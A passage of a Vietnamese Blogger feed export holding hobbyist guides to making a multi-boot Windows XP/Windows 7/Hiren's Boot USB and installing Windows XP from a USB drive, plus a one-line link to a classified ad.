<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-64112137356460089</id><updated>2011-09-06T23:10:32.330-07:00</updated><title type='text'>Chân Trời Tri Thức</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>58</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-6825335343386159652</id><published>2011-09-06T23:09:00.000-07:00</published><updated>2011-09-06T23:10:32.343-07:00</updated><title type='text'>Hướng dẫn tạo USB cài XP+Windows 7+Hiren's Boot</title><content type='html'>&lt;h2 class="posttitle icon"&gt;    &lt;img title="Mặc định" src="http://shoptinhoc.com/diendan/images/icons/icon1.png" alt="Mặc định" /&gt; Hướng dẫn tạo USB cài XP+Windows 7+Hiren's Boot   &lt;/h2&gt;                                                  A. NGUYÊN LIỆU.&lt;br /&gt;&lt;br /&gt;1. Một chiếc USB 4GB trở lên.&lt;br /&gt;&lt;br /&gt;2. Boot Ice dùng để format USB và tạo MBR cho USB. Mình thích tiện ích  này vì tính tuỳ biến cao của nó  chứ không cứng nhắc như tất cả các công  cụ khác các bạn từng gặp. Có thể  format tạo phân vùng ẩn chứa MBR, có  thể thay đổi MBR để trỏ tới  bootloader bất kì mà không kèm theo format  lại, và có thể thay đổi tên  file bootloader mặc định.&lt;br /&gt;&lt;br /&gt;3. Ultimate Boot USB. Công cụ này cũng có khả năng format và tạo MBR cho   USB. Nhưng mình giới thiệu với các bạn với mục đích khác. Đó là  test  xem USB sẽ boot như thế nào, có thành công hay không mà không cần  phải  boot thực sự hay dùng tới máy ảo làm chi cho mất thì giờ &lt;a href="http://forum.bkav.com.vn/images/smilies/yahoo/04.gif" class="highslide"&gt;&lt;img src="http://forum.bkav.com.vn/images/smilies/yahoo/04.gif" alt="" border="0" /&gt;&lt;/a&gt;. Cái này là độc quyền bài viết  này có.&lt;br /&gt;&lt;br /&gt;Cả 2 công cụ này để chung vào một file nén, các bạn xả nén ra  sẽ thấy.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://shoptinhoc.com/diendan/images/smilies/sth_smiles/STH_DOWNLOAD_MF.gif" alt="" title="DLMF" class="inlineimg" border="0" /&gt;&lt;br /&gt;&lt;div class="bbcode_container"&gt;  &lt;div class="bbcode_quote"&gt;   &lt;div class="quote_container"&gt;             &lt;a href="http://www.mediafire.com/?1uamvomnee2" target="_blank"&gt;http://www.mediafire.com/?1uamvomnee2&lt;/a&gt;       &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="bbcode_container"&gt;  &lt;div class="bbcode_quote"&gt;   &lt;div class="quote_container"&gt;              Pass: &lt;b&gt;phucmap&lt;/b&gt;       &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; 4. Một bản Windows SP3(đuôi file là ISO)&lt;br /&gt;5. Một Bản Windows 7(bản nào cũng được)&lt;br /&gt;6. UltraISO&lt;br /&gt;&lt;br /&gt;B. THỰC HIỆN:&lt;br /&gt;&lt;br /&gt;1. Các bạn &lt;span style="color:Red;"&gt;&lt;b&gt;gắn USB 4GB cần tạo boot vào máy tính và  nhớ rút hết các USB khác ra tránh nhầm lẫn&lt;/b&gt;&lt;/span&gt;, rồi chạy Boot  Ice, format USB theo định dạng FAT32 cho phân vùng Boot.&lt;br /&gt;Chú ý rằng chương trình tự động nhận USB nếu các bạn gắn sẵn, nếu không   nó sẽ nhận luôn ổ cứng của các bạn. Chương trình này có khả năng làm   việc cả trên ổ cứng nên các bạn hết sức cẩn thận.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://img37.imageshack.us/img37/7010/setup1.png" class="highslide"&gt;&lt;img src="http://img37.imageshack.us/img37/7010/setup1.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Nếu các bạn thích để phân vùng Boot này ẩn và không bị Windows format   "sờ tới", còn phân vùng còn lại để dạng NTFS chứa dữ liệu, hoặc đơn giản   chỉ để format và tạo MBR cho USB có thể boot thì đều tham khảo theo  chủ  đề sau của mình  (chú ý cứ để bootloader được MBR gọi mặc định là   file GRLDR như chương trình đề nghị):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://forum.bkav.com.vn/showthread.php?t=350" target="_blank"&gt;&lt;i&gt;Tạo  phân vùng ẨN&lt;/i&gt; &lt;i&gt;trên USB để vừa boot&lt;/i&gt;,&lt;i&gt; vừa lưu trữ dữ liệu&lt;/i&gt; &lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2. Các bạn copy các file GRLDR, MENU.LST trong file đã nén  sẵn ở đây vào trực tiếp ổ gốc của USB cần tạo Boot:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://shoptinhoc.com/diendan/images/smilies/sth_smiles/STH_DOWNLOAD_MF.gif" alt="" title="DLMF" class="inlineimg" border="0" /&gt;&lt;br /&gt;&lt;div class="bbcode_container"&gt;  &lt;div class="bbcode_quote"&gt;   &lt;div class="quote_container"&gt;             &lt;a href="http://www.mediafire.com/?mbmyzmdnj5d" target="_blank"&gt;http://www.mediafire.com/?mbmyzmdnj5d&lt;/a&gt;       &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="bbcode_container"&gt;  &lt;div class="bbcode_quote"&gt;   &lt;div class="quote_container"&gt;              Pass: &lt;b&gt;phucmap&lt;/b&gt;       &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt; 3. Các bạn dùng UltraISO mở file ISO của Windows SP3 Volume License rồi  bung toàn bộ nội dung vào thư mục gốc của USB.&lt;br /&gt;&lt;br /&gt;4. Các bạn làm tương tự với file ISO của bộ cài Windows 7. Chú ý rằng   nếu các bạn lựa chọn tích hợp bản Enterprise mà muốn tích hợp thêm các   bộ cài khác thì sẽ phức tạp hơn một chút, Lãng khách sẽ tạm thời chưa đề   cập. Vì vậy, để có nhiều lựa chọn cài đặt cho Windows 7, các bạn hãy  sử  dụng bộ cài Windows 7 Ultimate.&lt;br /&gt;&lt;br /&gt;5. Sau khi bung nén, kiểm tra lại file setup.exe của bộ cài Windows 7 đã   ghi đè file setup.exe của Windows XP chưa, nếu chưa các bạn copy thủ   công lại bước này (vì file setup.exe của Windows XP không cần thiết, còn   file của Windows 7 lại cần).&lt;br /&gt;&lt;br /&gt;6. Nếu các bạn muốn có đầy đủ 5 lựa chọn khi cài Windows 7 cho các cấu  hình máy khác nhau (&lt;b&gt;Ultimate, Professional, Home Prenium, Home Basic,  Starter) &lt;/b&gt;thì chỉ cần dùng UltraISO xóa file &lt;b&gt;"ei.cfg"&lt;/b&gt; nằm  trong folder &lt;b&gt;Sources&lt;/b&gt; của bộ cài đặt &lt;b&gt;Windows 7 &lt;/b&gt;là được.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://img189.imageshack.us/img189/6060/kinhnghiem4.jpg" class="highslide"&gt;&lt;img src="http://img189.imageshack.us/img189/6060/kinhnghiem4.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;7. Xong rồi đó. Bây giờ là việc kiểm tra lại thành quả lao động của  mình.&lt;br /&gt;Các bạn chạy UBUSB, bấm vào lựa chọn &lt;b&gt;Test USB&lt;/b&gt; như hình minh hoạ:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://img51.imageshack.us/img51/7853/setup2.png" class="highslide"&gt;&lt;img src="http://img51.imageshack.us/img51/7853/setup2.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;8. Nếu cửa sổ hiện ra thế này là OK rồi:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://img51.imageshack.us/img51/6108/setup3.png" class="highslide"&gt;&lt;img src="http://img51.imageshack.us/img51/6108/setup3.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Như thế có nghĩa là bạn đã có thể dùng để cài Windows 7. Chương trình  kiểm tra chỉ chạy được tới đó thôi.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-6825335343386159652?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/6825335343386159652/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=6825335343386159652' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6825335343386159652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6825335343386159652'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2011/09/huong-dan-tao-usb-cai-xpwindows-7hirens.html' title='Hướng dẫn tạo USB cài XP+Windows 7+Hiren&apos;s Boot'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8322878301837163192</id><published>2011-04-28T03:19:00.001-07:00</published><updated>2011-04-28T03:19:47.034-07:00</updated><title type='text'>Hang moi day</title><content type='html'>&lt;b&gt;http://www.raovat123.com/t.4127387.ban-cpu-core-2-t7300-laptop-gia-re-day.html&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8322878301837163192?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8322878301837163192/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8322878301837163192' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8322878301837163192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8322878301837163192'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2011/04/hang-moi-day.html' title='Hang moi day'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8983549215540652731</id><published>2008-12-11T05:29:00.000-08:00</published><updated>2008-12-11T05:30:32.086-08:00</updated><title type='text'>Hướng dẫn cài winxp bằng usb</title><content type='html'>&lt;h3 class="post-title"&gt; &lt;a href="http://www.maytinh116.co.cc/2008/12/hng-dn-ci-winxp-bng-usb.html"&gt;&lt;br /&gt;&lt;/a&gt; &lt;/h3&gt;  &lt;div class="post-body"&gt; &lt;p&gt; &lt;/p&gt;&lt;div id="post_body"&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: arial;" class="newsdetailtitle"&gt;Cài đặt Windows XP từ ổ USB Flash&lt;/span&gt;&lt;span style="font-family: arial;"&gt;                             &lt;/span&gt;&lt;span style="font-family: arial;" class="newsdetaildesc"&gt;Nếu một ngày bạn muốn cài đặt Windows XP nhưng máy tính của bạn lại không có ổ CD-ROM, bạn sẽ giải quyết thế nào? Bài viết sau đây sẽ hướng dẫn chi tiết cho bạn cách cài đặt Windows XP từ ổ USB.&lt;/span&gt;&lt;span style="font-family: arial;" class="newsdetailcontent"&gt;&lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69442812693.jpg" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 1:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Chuẩn bị sẵn 1 ổ USB Flash (ít nhất 2GB).&lt;br /&gt;&lt;br /&gt;Lưu ý: Khi thực hiện theo bài hướng dẫn này, bạn cần có một máy tính với ổ CD-ROM hoạt động tốt.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 2:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Tải gói phần mềm Komku-SP-usb.exe &lt;a href="http://www.download.com.vn/Data/Soft/2008/11/18/Komku-SP-usb.exe" target="_blank"&gt;tại đây&lt;/a&gt;.&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69449843943.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 3:&lt;/span&gt;&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69451875193.jpg" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kích đúp &lt;strong&gt;Komku-SP-usb.exe&lt;/strong&gt;. Một cửa sổ xuất hiện, kích &lt;strong&gt;Install&lt;/strong&gt;.&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69452812693.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 4:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Cắm ổ USB vào máy tính.&lt;br /&gt;&lt;br /&gt;Tìm tới thư mục &lt;em&gt;C:\Komku\PeToUSB&lt;/em&gt;. Kích đúp &lt;strong&gt;PeToUSB.exe&lt;/strong&gt;.&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69454687693.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Một cửa sổ sẽ hiện ra như sau…&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69455625193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Destination Drive: chọn &lt;strong&gt;USB Removable&lt;/strong&gt;&lt;br /&gt;Đánh dấu các ô &lt;strong&gt;Enable Disk Format&lt;/strong&gt;, &lt;strong&gt;Quick Format&lt;/strong&gt;, &lt;strong&gt;Enable LBA (FAT 16x)&lt;/strong&gt;&lt;br /&gt;Drive Label: Đặt nhãn ổ USB tùy ý bạn, trong trường hợp này là &lt;strong&gt;XP-KOMKU&lt;/strong&gt;&lt;br /&gt;Sau đó kích &lt;strong&gt;Start&lt;/strong&gt;.&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69457656443.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kích &lt;strong&gt;Yes&lt;/strong&gt; để tiếp tục…&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69458593943.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kích &lt;strong&gt;Yes&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69459687693.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Đợi một chút… &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69460625193.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kích &lt;strong&gt;OK&lt;/strong&gt;, sau đó bạn có thể đóng cửa sổ PeToUSB&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 5:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Mở &lt;em&gt;Command Prompt&lt;/em&gt; bằng cách vào &lt;strong&gt;Start&lt;/strong&gt; &gt; &lt;strong&gt;Run&lt;/strong&gt; &gt; gõ &lt;strong&gt;cmd&lt;/strong&gt; &gt; kích &lt;strong&gt;OK&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69461875193.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Trong cửa sổ lệnh, chuyển tới thư mục &lt;em&gt;C:\Komku\bootsect&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Cụ thể: đầu tiên, gõ &lt;strong&gt;cd\&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69462968943.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Sau đó gõ &lt;strong&gt;cd komku\bootsect&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69464062693.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kết quả… &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69470468943.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Đừng đóng cửa sổ Command Prompt, hãy tiếp tục bước 6.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 6:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Trong cửa sổ Command Promt, gõ &lt;strong&gt;bootsect /nt52 H: &lt;/strong&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69471406443.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;trong đó H là tên ổ USB trên máy. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69472500193.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Rồi nhấn Enter. Kết quả &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69473593943.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 7:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Tiếp tục gõ &lt;strong&gt;cd..&lt;/strong&gt; và nhấn &lt;strong&gt;Enter&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69474687693.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Sau đó gõ &lt;strong&gt;cd usb_prep8&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69476562693.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Gõ &lt;strong&gt;usb_prep8&lt;/strong&gt; lần nữa, nhấn &lt;strong&gt;Enter&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69478750193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 8:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Bạn sẽ thấy cửa sổ Command Prompt như sau: &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69485468943.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Ấn phím bất kỳ để tiếp tục. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69487187693.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Bây giờ đưa đĩa Windows XP vào ổ CD/DVD ROM rồi quay trở lại cửa sổ Command Prompt.&lt;br /&gt;&lt;br /&gt;Gõ &lt;strong&gt;1&lt;/strong&gt; nhấn &lt;strong&gt;Enter&lt;/strong&gt; hộp thoại &lt;em&gt;Browse For Folder&lt;/em&gt; sẽ xuất hiện. Chọn ổ CD/DVD của bạn, kích &lt;strong&gt;OK&lt;/strong&gt;. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69488281443.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Kết quả: mục &lt;em&gt;“XP Setup Source Path”&lt;/em&gt; sẽ chuyển thành tên ổ CD/DVD của bạn. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69490000193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Ở mục 2, nếu chữ cái &lt;strong&gt;T&lt;/strong&gt; đã được gán cho 1 ổ đĩa trên máy tính bạn, bạn cần thay đổi mục này. Nếu không, hãy để nguyên.&lt;/p&gt; &lt;p align="justify"&gt;Vậy làm thế nào để thay đổi?&lt;/p&gt; &lt;p align="justify"&gt;Gõ &lt;strong&gt;2&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt;, sau đó nhập 1 chữ cái bất kỳ không trùng với tên các ổ đĩa trên máy tính bạn. Ví dụ bạn không có ổ S, nhập &lt;strong&gt;S&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt;. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69491093943.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Trở lại cửa sổ usb_prep8, gõ &lt;strong&gt;3&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt;. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69492031443.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Nhập tên ổ USB của bạn. Trong trường hợp này ổ USB là ổ H&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69472500193.gif" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;vì vậy nhập &lt;strong&gt;H&lt;/strong&gt; rồi nhấn &lt;strong&gt;Enter&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;Tiếp theo, nhập &lt;strong&gt;4&lt;/strong&gt; nhấn &lt;strong&gt;Enter&lt;/strong&gt; rồi đợi một lát. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69492812693.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Gõ &lt;strong&gt;Y&lt;/strong&gt; nhấn &lt;strong&gt;Enter&lt;/strong&gt; và tiếp tục đợi.&lt;/p&gt; &lt;p align="justify"&gt;Sau khi quá trình format ổ đĩa ảo hoàn thành, nhấn phím bất kỳ để tiếp tục. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69494218943.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Tiếp tục đợi…. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69495625193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Nhấn phím bất kỳ để tiếp tục &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69496250193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Chọn &lt;strong&gt;Yes&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69497500193.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Tiếp tục &lt;strong&gt;Yes&lt;/strong&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69498906443.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Chọn &lt;strong&gt;Yes&lt;/strong&gt;, đợi một lát rồi nhấn phím bất kỳ 2 lần để đóng cửa sổ &lt;em&gt;usb_prep8&lt;/em&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69500156443.png" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Chúc mừng bạn, cuối cùng ổ USB của bạn đã sẵn sàng.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 153);"&gt;Bước 9:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Cắm ổ USB vào chiếc máy tính không có ổ CD-ROM mà bạn muốn cài đặt Windows XP. Vào BIOS, chọn khởi động từ &lt;strong&gt;USB HDD&lt;/strong&gt; (hoặc &lt;strong&gt;USB ZIP &lt;/strong&gt;tùy mỗi máy). Sau đó khởi động lại máy từ ổ USB.&lt;/p&gt; &lt;p align="justify"&gt;Chọn &lt;em&gt;“TXT Mode Setup...”&lt;br /&gt;&lt;/em&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69501718943.jpg" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Tiếp tục cài đặt Windows XP như bình thường. &lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69502343943.jpg" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Khi chế độ cài đặt text mode kết thúc, máy tính sẽ tự khởi động lại. Lần này chọn &lt;em&gt;“GUI Mode Setup…”&lt;br /&gt;&lt;/em&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img class="" alt="" src="http://www.itgatevn.com.vn/pictures/web/news/spider/2008/11/18/itgatevn_69503125193.jpg" /&gt;&lt;/p&gt; &lt;p align="justify"&gt;Tiếp tục cài đặt các bước cài đặt Windows XP cho tới khi hoàn thành!&lt;/p&gt; &lt;p align="justify"&gt;Chúc các bạn thành công!&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: arial;" class="newsdetailauthor"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="post-footer"&gt; &lt;script charset="utf-8" src="http://feeds.feedburner.com/zenda35?i=http://www.maytinh116.co.cc/2008/12/hng-dn-ci-winxp-bng-usb.html" type="text/javascript"&gt;&lt;/script&gt;&lt;/div&gt;&lt;span id="label_list_display_none" style="display: none; visibility: hidden;"&gt;Tư Vấn Kỹ 